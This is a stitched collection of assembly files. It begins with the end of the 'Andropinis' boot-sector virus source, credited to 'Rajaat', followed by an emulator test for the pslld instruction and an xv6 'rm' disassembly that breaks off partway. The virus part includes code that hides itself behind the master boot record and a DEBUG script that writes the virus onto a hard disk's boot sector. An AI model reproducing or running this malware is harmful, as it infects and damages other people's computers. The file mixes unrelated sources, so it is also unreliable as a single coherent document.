lea bx,virus[bp] ; (right behind the mbr)
int 13 ;
is_active: lea si,org_com[bp] ; restore beginning of the
mov di,100 ; host and execute it
pop ax ;
push cs ;
push di ;
movsw ;
movsw ;
movsw ;
retf ;
;******************************************************************************
; some data used by the virus
;******************************************************************************
db '[Andropinis]' ; my childs name
db ' by Rajaat',0 ; my name
org 1fe ; for the bootsector
db 55,0aa ; boot signature
;******************************************************************************
; the things below aren't copied into the viral boot sector, only in COM files
;******************************************************************************
org_com equ $ ; original program data
heap equ $+6 ; memory for data
virus_length_b equ heap-virus ; who says size doesn't count?
virus_length_s equ (virus_length_b+1ff) / 200 ;
virus_length_k equ (virus_length_b+3ff) / 400 ;
old_13 equ heap+6 ; old int 13 vector
old_21 equ heap+0a ; old int 21 vector
hook_21_flag equ heap+0e ; int 21 hook flag
end virus ; the end complete
end ;
;******************************************************************************
; remove the piece below if you use A86 instead of TASM, because it will
; choke on it
--- debug script for installing the Andropinis virus ---
install with
DEBUG ANDROPIN.BIN < scriptname
where scriptname is the name that you give to the mess below
--- cut here ---
m 100 l200 1000
a
mov ax,0201
mov bx,800
mov cx,1
mov dx,80
int 13
mov si,9bf
mov word ptr [si],200
mov ax,0301
mov dx,80
int 13
mov ax,0301
mov bx,1000
inc cx
int 13
int 20
g
q
--- cut here ---
| 47.601467 | 79 | 0.357851 |
ec715299d841f7e6345e20f592ef000244c01301 | 633 | asm | Assembly | tests/nasm/pslld.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 12,700 | 2015-01-04T15:03:42.000Z | 2022-03-31T06:43:06.000Z | tests/nasm/pslld.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 566 | 2015-01-01T18:16:40.000Z | 2022-03-31T19:59:10.000Z | tests/nasm/pslld.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 1,182 | 2015-01-05T09:20:48.000Z | 2022-03-31T12:16:52.000Z | global _start
section .data
align 16
mydq0:
dq 0xad0000ceadad00ff
dq 0xff00dadaec0000da
mydq1:
dq 0x0102030405060708
dq 0x090a0b0c0d0e0f10
mydword:
dd 0xcafebac0
shift0:
dq 0x07
shift1:
dq -0x22
align 16
shift2:
dq 0x07
dq 0
shift3:
dq -0x22
dq 0
%include "header.inc"
movq mm0, [mydq0]
movq mm1, [mydq0]
movq mm2, [mydq1]
movq mm6, [mydq1]
movq xmm0, [mydq0]
movq xmm1, [mydq0]
movq xmm2, [mydq1]
movq xmm6, [mydq1]
pslld mm0, [shift0]
pslld mm1, 30
pslld mm2, [shift1]
pslld mm6, 0x5
pslld xmm0, [shift2]
pslld xmm1, 30
pslld xmm2, [shift3]
pslld xmm6, 0x5
%include "footer.inc"
| 12.918367 | 22 | 0.685624 |
5ebbb8cd008487fbe99ea66eb40a27ae0bc75059 | 91,198 | asm | Assembly | rm.asm | danilocapkob/xv6plus | 9c4b22809094b9c9739201dee316ec2cdbd1a100 | [
"Xnet",
"X11"
] | 1 | 2020-07-14T11:28:42.000Z | 2020-07-14T11:28:42.000Z | rm.asm | danilocapkob/xv6plus | 9c4b22809094b9c9739201dee316ec2cdbd1a100 | [
"Xnet",
"X11"
] | null | null | null | rm.asm | danilocapkob/xv6plus | 9c4b22809094b9c9739201dee316ec2cdbd1a100 | [
"Xnet",
"X11"
] | null | null | null |
_rm: file format elf32-i386-freebsd
Disassembly of section .text:
00000000 <main>:
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl 0xfffffffc(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 51 push %ecx
e: 83 ec 24 sub $0x24,%esp
11: 89 4d e8 mov %ecx,0xffffffe8(%ebp)
int i;
if(argc < 2){
14: 8b 45 e8 mov 0xffffffe8(%ebp),%eax
17: 83 38 01 cmpl $0x1,(%eax)
1a: 7f 19 jg 35 <main+0x35>
printf(2, "Usage: rm files...\n");
1c: c7 44 24 04 c4 10 00 movl $0x10c4,0x4(%esp)
23: 00
24: c7 04 24 02 00 00 00 movl $0x2,(%esp)
2b: e8 10 05 00 00 call 540 <printf>
exit();
30: e8 ff 02 00 00 call 334 <exit>
}
for(i = 1; i < argc; i++){
35: c7 45 f8 01 00 00 00 movl $0x1,0xfffffff8(%ebp)
3c: eb 46 jmp 84 <main+0x84>
if(unlink(argv[i]) < 0){
3e: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
41: c1 e0 02 shl $0x2,%eax
44: 8b 55 e8 mov 0xffffffe8(%ebp),%edx
47: 03 42 04 add 0x4(%edx),%eax
4a: 8b 00 mov (%eax),%eax
4c: 89 04 24 mov %eax,(%esp)
4f: e8 30 03 00 00 call 384 <unlink>
54: 85 c0 test %eax,%eax
56: 79 28 jns 80 <main+0x80>
printf(2, "rm: %s failed to delete\n", argv[i]);
58: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
5b: c1 e0 02 shl $0x2,%eax
5e: 8b 55 e8 mov 0xffffffe8(%ebp),%edx
61: 03 42 04 add 0x4(%edx),%eax
64: 8b 00 mov (%eax),%eax
66: 89 44 24 08 mov %eax,0x8(%esp)
6a: c7 44 24 04 d8 10 00 movl $0x10d8,0x4(%esp)
71: 00
72: c7 04 24 02 00 00 00 movl $0x2,(%esp)
79: e8 c2 04 00 00 call 540 <printf>
break;
7e: eb 0e jmp 8e <main+0x8e>
80: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp)
84: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
87: 8b 55 e8 mov 0xffffffe8(%ebp),%edx
8a: 3b 02 cmp (%edx),%eax
8c: 7c b0 jl 3e <main+0x3e>
}
}
exit();
8e: e8 a1 02 00 00 call 334 <exit>
93: 90 nop
94: 90 nop
95: 90 nop
96: 90 nop
97: 90 nop
98: 90 nop
99: 90 nop
9a: 90 nop
9b: 90 nop
9c: 90 nop
9d: 90 nop
9e: 90 nop
9f: 90 nop
000000a0 <strcpy>:
#include "user.h"
char*
strcpy(char *s, char *t)
{
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
a6: 8b 45 08 mov 0x8(%ebp),%eax
a9: 89 45 fc mov %eax,0xfffffffc(%ebp)
while((*s++ = *t++) != 0)
ac: 8b 45 0c mov 0xc(%ebp),%eax
af: 0f b6 10 movzbl (%eax),%edx
b2: 8b 45 08 mov 0x8(%ebp),%eax
b5: 88 10 mov %dl,(%eax)
b7: 8b 45 08 mov 0x8(%ebp),%eax
ba: 0f b6 00 movzbl (%eax),%eax
bd: 84 c0 test %al,%al
bf: 0f 95 c0 setne %al
c2: 83 45 08 01 addl $0x1,0x8(%ebp)
c6: 83 45 0c 01 addl $0x1,0xc(%ebp)
ca: 84 c0 test %al,%al
cc: 75 de jne ac <strcpy+0xc>
;
return os;
ce: 8b 45 fc mov 0xfffffffc(%ebp),%eax
}
d1: c9 leave
d2: c3 ret
d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
d9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
000000e0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
e3: eb 08 jmp ed <strcmp+0xd>
p++, q++;
e5: 83 45 08 01 addl $0x1,0x8(%ebp)
e9: 83 45 0c 01 addl $0x1,0xc(%ebp)
ed: 8b 45 08 mov 0x8(%ebp),%eax
f0: 0f b6 00 movzbl (%eax),%eax
f3: 84 c0 test %al,%al
f5: 74 10 je 107 <strcmp+0x27>
f7: 8b 45 08 mov 0x8(%ebp),%eax
fa: 0f b6 10 movzbl (%eax),%edx
fd: 8b 45 0c mov 0xc(%ebp),%eax
100: 0f b6 00 movzbl (%eax),%eax
103: 38 c2 cmp %al,%dl
105: 74 de je e5 <strcmp+0x5>
return (uchar)*p - (uchar)*q;
107: 8b 45 08 mov 0x8(%ebp),%eax
10a: 0f b6 00 movzbl (%eax),%eax
10d: 0f b6 d0 movzbl %al,%edx
110: 8b 45 0c mov 0xc(%ebp),%eax
113: 0f b6 00 movzbl (%eax),%eax
116: 0f b6 c0 movzbl %al,%eax
119: 89 d1 mov %edx,%ecx
11b: 29 c1 sub %eax,%ecx
11d: 89 c8 mov %ecx,%eax
}
11f: 5d pop %ebp
120: c3 ret
121: eb 0d jmp 130 <strlen>
123: 90 nop
124: 90 nop
125: 90 nop
126: 90 nop
127: 90 nop
128: 90 nop
129: 90 nop
12a: 90 nop
12b: 90 nop
12c: 90 nop
12d: 90 nop
12e: 90 nop
12f: 90 nop
00000130 <strlen>:
uint
strlen(char *s)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
136: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
13d: eb 04 jmp 143 <strlen+0x13>
13f: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp)
143: 8b 45 fc mov 0xfffffffc(%ebp),%eax
146: 03 45 08 add 0x8(%ebp),%eax
149: 0f b6 00 movzbl (%eax),%eax
14c: 84 c0 test %al,%al
14e: 75 ef jne 13f <strlen+0xf>
;
return n;
150: 8b 45 fc mov 0xfffffffc(%ebp),%eax
}
153: c9 leave
154: c3 ret
155: 8d 74 26 00 lea 0x0(%esi),%esi
159: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
00000160 <memset>:
void*
memset(void *dst, int c, uint n)
{
160: 55 push %ebp
161: 89 e5 mov %esp,%ebp
163: 83 ec 10 sub $0x10,%esp
char *d;
d = dst;
166: 8b 45 08 mov 0x8(%ebp),%eax
169: 89 45 fc mov %eax,0xfffffffc(%ebp)
while(n-- > 0)
16c: eb 0e jmp 17c <memset+0x1c>
*d++ = c;
16e: 8b 45 0c mov 0xc(%ebp),%eax
171: 89 c2 mov %eax,%edx
173: 8b 45 fc mov 0xfffffffc(%ebp),%eax
176: 88 10 mov %dl,(%eax)
178: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp)
17c: 83 6d 10 01 subl $0x1,0x10(%ebp)
180: 83 7d 10 ff cmpl $0xffffffff,0x10(%ebp)
184: 75 e8 jne 16e <memset+0xe>
return dst;
186: 8b 45 08 mov 0x8(%ebp),%eax
}
189: c9 leave
18a: c3 ret
18b: 90 nop
18c: 8d 74 26 00 lea 0x0(%esi),%esi
00000190 <strchr>:
char*
strchr(const char *s, char c)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 83 ec 08 sub $0x8,%esp
196: 8b 45 0c mov 0xc(%ebp),%eax
199: 88 45 fc mov %al,0xfffffffc(%ebp)
for(; *s; s++)
19c: eb 17 jmp 1b5 <strchr+0x25>
if(*s == c)
19e: 8b 45 08 mov 0x8(%ebp),%eax
1a1: 0f b6 00 movzbl (%eax),%eax
1a4: 3a 45 fc cmp 0xfffffffc(%ebp),%al
1a7: 75 08 jne 1b1 <strchr+0x21>
return (char*) s;
1a9: 8b 45 08 mov 0x8(%ebp),%eax
1ac: 89 45 f8 mov %eax,0xfffffff8(%ebp)
1af: eb 15 jmp 1c6 <strchr+0x36>
1b1: 83 45 08 01 addl $0x1,0x8(%ebp)
1b5: 8b 45 08 mov 0x8(%ebp),%eax
1b8: 0f b6 00 movzbl (%eax),%eax
1bb: 84 c0 test %al,%al
1bd: 75 df jne 19e <strchr+0xe>
return 0;
1bf: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp)
1c6: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
}
1c9: c9 leave
1ca: c3 ret
1cb: 90 nop
1cc: 8d 74 26 00 lea 0x0(%esi),%esi
000001d0 <gets>:
char*
gets(char *buf, int max)
{
1d0: 55 push %ebp
1d1: 89 e5 mov %esp,%ebp
1d3: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
1d6: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp)
1dd: eb 46 jmp 225 <gets+0x55>
cc = read(0, &c, 1);
1df: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1e6: 00
1e7: 8d 45 f7 lea 0xfffffff7(%ebp),%eax
1ea: 89 44 24 04 mov %eax,0x4(%esp)
1ee: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1f5: e8 52 01 00 00 call 34c <read>
1fa: 89 45 fc mov %eax,0xfffffffc(%ebp)
if(cc < 1)
1fd: 83 7d fc 00 cmpl $0x0,0xfffffffc(%ebp)
201: 7e 2d jle 230 <gets+0x60>
break;
buf[i++] = c;
203: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
206: 89 c2 mov %eax,%edx
208: 03 55 08 add 0x8(%ebp),%edx
20b: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax
20f: 88 02 mov %al,(%edx)
211: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp)
if(c == '\n' || c == '\r')
215: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax
219: 3c 0a cmp $0xa,%al
21b: 74 13 je 230 <gets+0x60>
21d: 0f b6 45 f7 movzbl 0xfffffff7(%ebp),%eax
221: 3c 0d cmp $0xd,%al
223: 74 0b je 230 <gets+0x60>
225: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
228: 83 c0 01 add $0x1,%eax
22b: 3b 45 0c cmp 0xc(%ebp),%eax
22e: 7c af jl 1df <gets+0xf>
break;
}
buf[i] = '\0';
230: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
233: 03 45 08 add 0x8(%ebp),%eax
236: c6 00 00 movb $0x0,(%eax)
return buf;
239: 8b 45 08 mov 0x8(%ebp),%eax
}
23c: c9 leave
23d: c3 ret
23e: 89 f6 mov %esi,%esi
00000240 <stat>:
int
stat(char *n, struct stat *st)
{
240: 55 push %ebp
241: 89 e5 mov %esp,%ebp
243: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
246: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
24d: 00
24e: 8b 45 08 mov 0x8(%ebp),%eax
251: 89 04 24 mov %eax,(%esp)
254: e8 1b 01 00 00 call 374 <open>
259: 89 45 f8 mov %eax,0xfffffff8(%ebp)
if(fd < 0)
25c: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
260: 79 09 jns 26b <stat+0x2b>
return -1;
262: c7 45 ec ff ff ff ff movl $0xffffffff,0xffffffec(%ebp)
269: eb 26 jmp 291 <stat+0x51>
r = fstat(fd, st);
26b: 8b 45 0c mov 0xc(%ebp),%eax
26e: 89 44 24 04 mov %eax,0x4(%esp)
272: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
275: 89 04 24 mov %eax,(%esp)
278: e8 0f 01 00 00 call 38c <fstat>
27d: 89 45 fc mov %eax,0xfffffffc(%ebp)
close(fd);
280: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
283: 89 04 24 mov %eax,(%esp)
286: e8 d1 00 00 00 call 35c <close>
return r;
28b: 8b 45 fc mov 0xfffffffc(%ebp),%eax
28e: 89 45 ec mov %eax,0xffffffec(%ebp)
291: 8b 45 ec mov 0xffffffec(%ebp),%eax
}
294: c9 leave
295: c3 ret
296: 8d 76 00 lea 0x0(%esi),%esi
299: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
000002a0 <atoi>:
int
atoi(const char *s)
{
2a0: 55 push %ebp
2a1: 89 e5 mov %esp,%ebp
2a3: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
2a6: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
while('0' <= *s && *s <= '9')
2ad: eb 24 jmp 2d3 <atoi+0x33>
n = n*10 + *s++ - '0';
2af: 8b 55 fc mov 0xfffffffc(%ebp),%edx
2b2: 89 d0 mov %edx,%eax
2b4: c1 e0 02 shl $0x2,%eax
2b7: 01 d0 add %edx,%eax
2b9: 01 c0 add %eax,%eax
2bb: 89 c2 mov %eax,%edx
2bd: 8b 45 08 mov 0x8(%ebp),%eax
2c0: 0f b6 00 movzbl (%eax),%eax
2c3: 0f be c0 movsbl %al,%eax
2c6: 8d 04 02 lea (%edx,%eax,1),%eax
2c9: 83 e8 30 sub $0x30,%eax
2cc: 89 45 fc mov %eax,0xfffffffc(%ebp)
2cf: 83 45 08 01 addl $0x1,0x8(%ebp)
2d3: 8b 45 08 mov 0x8(%ebp),%eax
2d6: 0f b6 00 movzbl (%eax),%eax
2d9: 3c 2f cmp $0x2f,%al
2db: 7e 0a jle 2e7 <atoi+0x47>
2dd: 8b 45 08 mov 0x8(%ebp),%eax
2e0: 0f b6 00 movzbl (%eax),%eax
2e3: 3c 39 cmp $0x39,%al
2e5: 7e c8 jle 2af <atoi+0xf>
return n;
2e7: 8b 45 fc mov 0xfffffffc(%ebp),%eax
}
2ea: c9 leave
2eb: c3 ret
2ec: 8d 74 26 00 lea 0x0(%esi),%esi
000002f0 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
2f0: 55 push %ebp
2f1: 89 e5 mov %esp,%ebp
2f3: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
2f6: 8b 45 08 mov 0x8(%ebp),%eax
2f9: 89 45 f8 mov %eax,0xfffffff8(%ebp)
src = vsrc;
2fc: 8b 45 0c mov 0xc(%ebp),%eax
2ff: 89 45 fc mov %eax,0xfffffffc(%ebp)
while(n-- > 0)
302: eb 13 jmp 317 <memmove+0x27>
*dst++ = *src++;
304: 8b 45 fc mov 0xfffffffc(%ebp),%eax
307: 0f b6 10 movzbl (%eax),%edx
30a: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
30d: 88 10 mov %dl,(%eax)
30f: 83 45 f8 01 addl $0x1,0xfffffff8(%ebp)
313: 83 45 fc 01 addl $0x1,0xfffffffc(%ebp)
317: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
31b: 0f 9f c0 setg %al
31e: 83 6d 10 01 subl $0x1,0x10(%ebp)
322: 84 c0 test %al,%al
324: 75 de jne 304 <memmove+0x14>
return vdst;
326: 8b 45 08 mov 0x8(%ebp),%eax
}
329: c9 leave
32a: c3 ret
32b: 90 nop
0000032c <fork>:
32c: b8 01 00 00 00 mov $0x1,%eax
331: cd 30 int $0x30
333: c3 ret
00000334 <exit>:
334: b8 02 00 00 00 mov $0x2,%eax
339: cd 30 int $0x30
33b: c3 ret
0000033c <wait>:
33c: b8 03 00 00 00 mov $0x3,%eax
341: cd 30 int $0x30
343: c3 ret
00000344 <pipe>:
344: b8 04 00 00 00 mov $0x4,%eax
349: cd 30 int $0x30
34b: c3 ret
0000034c <read>:
34c: b8 06 00 00 00 mov $0x6,%eax
351: cd 30 int $0x30
353: c3 ret
00000354 <write>:
354: b8 05 00 00 00 mov $0x5,%eax
359: cd 30 int $0x30
35b: c3 ret
0000035c <close>:
35c: b8 07 00 00 00 mov $0x7,%eax
361: cd 30 int $0x30
363: c3 ret
00000364 <kill>:
364: b8 08 00 00 00 mov $0x8,%eax
369: cd 30 int $0x30
36b: c3 ret
0000036c <exec>:
36c: b8 09 00 00 00 mov $0x9,%eax
371: cd 30 int $0x30
373: c3 ret
00000374 <open>:
374: b8 0a 00 00 00 mov $0xa,%eax
379: cd 30 int $0x30
37b: c3 ret
0000037c <mknod>:
37c: b8 0b 00 00 00 mov $0xb,%eax
381: cd 30 int $0x30
383: c3 ret
00000384 <unlink>:
384: b8 0c 00 00 00 mov $0xc,%eax
389: cd 30 int $0x30
38b: c3 ret
0000038c <fstat>:
38c: b8 0d 00 00 00 mov $0xd,%eax
391: cd 30 int $0x30
393: c3 ret
00000394 <link>:
394: b8 0e 00 00 00 mov $0xe,%eax
399: cd 30 int $0x30
39b: c3 ret
0000039c <mkdir>:
39c: b8 0f 00 00 00 mov $0xf,%eax
3a1: cd 30 int $0x30
3a3: c3 ret
000003a4 <chdir>:
3a4: b8 10 00 00 00 mov $0x10,%eax
3a9: cd 30 int $0x30
3ab: c3 ret
000003ac <dup>:
3ac: b8 11 00 00 00 mov $0x11,%eax
3b1: cd 30 int $0x30
3b3: c3 ret
000003b4 <getpid>:
3b4: b8 12 00 00 00 mov $0x12,%eax
3b9: cd 30 int $0x30
3bb: c3 ret
000003bc <sbrk>:
3bc: b8 13 00 00 00 mov $0x13,%eax
3c1: cd 30 int $0x30
3c3: c3 ret
000003c4 <sleep>:
3c4: b8 14 00 00 00 mov $0x14,%eax
3c9: cd 30 int $0x30
3cb: c3 ret
000003cc <upmsec>:
3cc: b8 15 00 00 00 mov $0x15,%eax
3d1: cd 30 int $0x30
3d3: c3 ret
000003d4 <socket>:
3d4: b8 16 00 00 00 mov $0x16,%eax
3d9: cd 30 int $0x30
3db: c3 ret
000003dc <bind>:
3dc: b8 17 00 00 00 mov $0x17,%eax
3e1: cd 30 int $0x30
3e3: c3 ret
000003e4 <listen>:
3e4: b8 18 00 00 00 mov $0x18,%eax
3e9: cd 30 int $0x30
3eb: c3 ret
000003ec <accept>:
3ec: b8 19 00 00 00 mov $0x19,%eax
3f1: cd 30 int $0x30
3f3: c3 ret
000003f4 <recv>:
3f4: b8 1a 00 00 00 mov $0x1a,%eax
3f9: cd 30 int $0x30
3fb: c3 ret
000003fc <recvfrom>:
3fc: b8 1b 00 00 00 mov $0x1b,%eax
401: cd 30 int $0x30
403: c3 ret
00000404 <send>:
404: b8 1c 00 00 00 mov $0x1c,%eax
409: cd 30 int $0x30
40b: c3 ret
0000040c <sendto>:
40c: b8 1d 00 00 00 mov $0x1d,%eax
411: cd 30 int $0x30
413: c3 ret
00000414 <shutdown>:
414: b8 1e 00 00 00 mov $0x1e,%eax
419: cd 30 int $0x30
41b: c3 ret
0000041c <getsockopt>:
41c: b8 1f 00 00 00 mov $0x1f,%eax
421: cd 30 int $0x30
423: c3 ret
00000424 <setsockopt>:
424: b8 20 00 00 00 mov $0x20,%eax
429: cd 30 int $0x30
42b: c3 ret
0000042c <sockclose>:
42c: b8 21 00 00 00 mov $0x21,%eax
431: cd 30 int $0x30
433: c3 ret
00000434 <connect>:
434: b8 22 00 00 00 mov $0x22,%eax
439: cd 30 int $0x30
43b: c3 ret
0000043c <getpeername>:
43c: b8 23 00 00 00 mov $0x23,%eax
441: cd 30 int $0x30
443: c3 ret
00000444 <getsockname>:
444: b8 24 00 00 00 mov $0x24,%eax
449: cd 30 int $0x30
44b: c3 ret
44c: 90 nop
44d: 90 nop
44e: 90 nop
44f: 90 nop
00000450 <putc>:
#include "user.h"
void
putc(int fd, char c)
{
450: 55 push %ebp
451: 89 e5 mov %esp,%ebp
453: 83 ec 18 sub $0x18,%esp
456: 8b 45 0c mov 0xc(%ebp),%eax
459: 88 45 fc mov %al,0xfffffffc(%ebp)
write(fd, &c, 1);
45c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
463: 00
464: 8d 45 fc lea 0xfffffffc(%ebp),%eax
467: 89 44 24 04 mov %eax,0x4(%esp)
46b: 8b 45 08 mov 0x8(%ebp),%eax
46e: 89 04 24 mov %eax,(%esp)
471: e8 de fe ff ff call 354 <write>
}
476: c9 leave
477: c3 ret
478: 90 nop
479: 8d b4 26 00 00 00 00 lea 0x0(%esi),%esi
00000480 <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
480: 55 push %ebp
481: 89 e5 mov %esp,%ebp
483: 53 push %ebx
484: 83 ec 34 sub $0x34,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
487: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
if(sgn && xx < 0){
48e: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
492: 74 17 je 4ab <printint+0x2b>
494: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
498: 79 11 jns 4ab <printint+0x2b>
neg = 1;
49a: c7 45 f4 01 00 00 00 movl $0x1,0xfffffff4(%ebp)
x = -xx;
4a1: 8b 45 0c mov 0xc(%ebp),%eax
4a4: f7 d8 neg %eax
4a6: 89 45 f8 mov %eax,0xfffffff8(%ebp)
4a9: eb 06 jmp 4b1 <printint+0x31>
} else {
x = xx;
4ab: 8b 45 0c mov 0xc(%ebp),%eax
4ae: 89 45 f8 mov %eax,0xfffffff8(%ebp)
}
i = 0;
4b1: c7 45 f0 00 00 00 00 movl $0x0,0xfffffff0(%ebp)
do{
buf[i++] = digits[x % base];
4b8: 8b 4d f0 mov 0xfffffff0(%ebp),%ecx
4bb: 8b 55 10 mov 0x10(%ebp),%edx
4be: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
4c1: 89 d3 mov %edx,%ebx
4c3: ba 00 00 00 00 mov $0x0,%edx
4c8: f7 f3 div %ebx
4ca: 89 d0 mov %edx,%eax
4cc: 0f b6 80 0c 11 00 00 movzbl 0x110c(%eax),%eax
4d3: 88 44 0d e0 mov %al,0xffffffe0(%ebp,%ecx,1)
4d7: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp)
}while((x /= base) != 0);
4db: 8b 55 10 mov 0x10(%ebp),%edx
4de: 8b 45 f8 mov 0xfffffff8(%ebp),%eax
4e1: 89 d1 mov %edx,%ecx
4e3: ba 00 00 00 00 mov $0x0,%edx
4e8: f7 f1 div %ecx
4ea: 89 45 f8 mov %eax,0xfffffff8(%ebp)
4ed: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
4f1: 75 c5 jne 4b8 <printint+0x38>
if(neg)
4f3: 83 7d f4 00 cmpl $0x0,0xfffffff4(%ebp)
4f7: 74 28 je 521 <printint+0xa1>
buf[i++] = '-';
4f9: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
4fc: c6 44 05 e0 2d movb $0x2d,0xffffffe0(%ebp,%eax,1)
501: 83 45 f0 01 addl $0x1,0xfffffff0(%ebp)
while(--i >= 0)
505: eb 1a jmp 521 <printint+0xa1>
putc(fd, buf[i]);
507: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
50a: 0f b6 44 05 e0 movzbl 0xffffffe0(%ebp,%eax,1),%eax
50f: 0f be c0 movsbl %al,%eax
512: 89 44 24 04 mov %eax,0x4(%esp)
516: 8b 45 08 mov 0x8(%ebp),%eax
519: 89 04 24 mov %eax,(%esp)
51c: e8 2f ff ff ff call 450 <putc>
521: 83 6d f0 01 subl $0x1,0xfffffff0(%ebp)
525: 83 7d f0 00 cmpl $0x0,0xfffffff0(%ebp)
529: 79 dc jns 507 <printint+0x87>
}
52b: 83 c4 34 add $0x34,%esp
52e: 5b pop %ebx
52f: 5d pop %ebp
530: c3 ret
531: eb 0d jmp 540 <printf>
533: 90 nop
534: 90 nop
535: 90 nop
536: 90 nop
537: 90 nop
538: 90 nop
539: 90 nop
53a: 90 nop
53b: 90 nop
53c: 90 nop
53d: 90 nop
53e: 90 nop
53f: 90 nop
00000540 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
540: 55 push %ebp
541: 89 e5 mov %esp,%ebp
543: 83 ec 38 sub $0x38,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
546: c7 45 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebp)
ap = (uint*)(void*)&fmt + 1;
54d: 8d 45 0c lea 0xc(%ebp),%eax
550: 83 c0 04 add $0x4,%eax
553: 89 45 fc mov %eax,0xfffffffc(%ebp)
for(i = 0; fmt[i]; i++){
556: c7 45 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebp)
55d: e9 7b 01 00 00 jmp 6dd <printf+0x19d>
c = fmt[i] & 0xff;
562: 8b 55 0c mov 0xc(%ebp),%edx
565: 8b 45 f4 mov 0xfffffff4(%ebp),%eax
568: 8d 04 02 lea (%edx,%eax,1),%eax
56b: 0f b6 00 movzbl (%eax),%eax
56e: 0f be c0 movsbl %al,%eax
571: 25 ff 00 00 00 and $0xff,%eax
576: 89 45 f0 mov %eax,0xfffffff0(%ebp)
if(state == 0){
579: 83 7d f8 00 cmpl $0x0,0xfffffff8(%ebp)
57d: 75 2c jne 5ab <printf+0x6b>
if(c == '%'){
57f: 83 7d f0 25 cmpl $0x25,0xfffffff0(%ebp)
583: 75 0c jne 591 <printf+0x51>
state = '%';
585: c7 45 f8 25 00 00 00 movl $0x25,0xfffffff8(%ebp)
58c: e9 48 01 00 00 jmp 6d9 <printf+0x199>
} else {
putc(fd, c);
591: 8b 45 f0 mov 0xfffffff0(%ebp),%eax
594: 0f be c0 movsbl %al,%eax
597: 89 44 24 04 mov %eax,0x4(%esp)
59b: 8b 45 08 mov 0x8(%ebp),%eax
59e: 89 04 24 mov %eax,(%esp)
5a1: e8 aa fe ff ff call 450 <putc>
5a6: e9 2e 01 00 00 jmp 6d9 <printf+0x199>
}
} else if(state == '%'){
5ab: 83 7d f8 25 cmpl $0x25,0xfffffff8(%ebp)
5af: 0f 85 24 01 00 00 jne 6d9 <printf+0x199>
if(c == 'd'){
5b5: 83 7d f0 64 cmpl $0x64,0xfffffff0(%ebp)
5b9: 75 2d jne 5e8 <printf+0xa8>
printint(fd, *ap, 10, 1);
5bb: 8b 45 fc mov 0xfffffffc(%ebp),%eax
5be: 8b 00 mov (%eax),%eax
5c0: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
5c7: 00
5c8: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
5cf: 00
5d0: 89 44 24 04 mov %eax,0x4(%esp)
5d4: 8b 45 08 mov 0x8(%ebp),%eax
5d7: 89 04 24 mov %eax,(%esp)
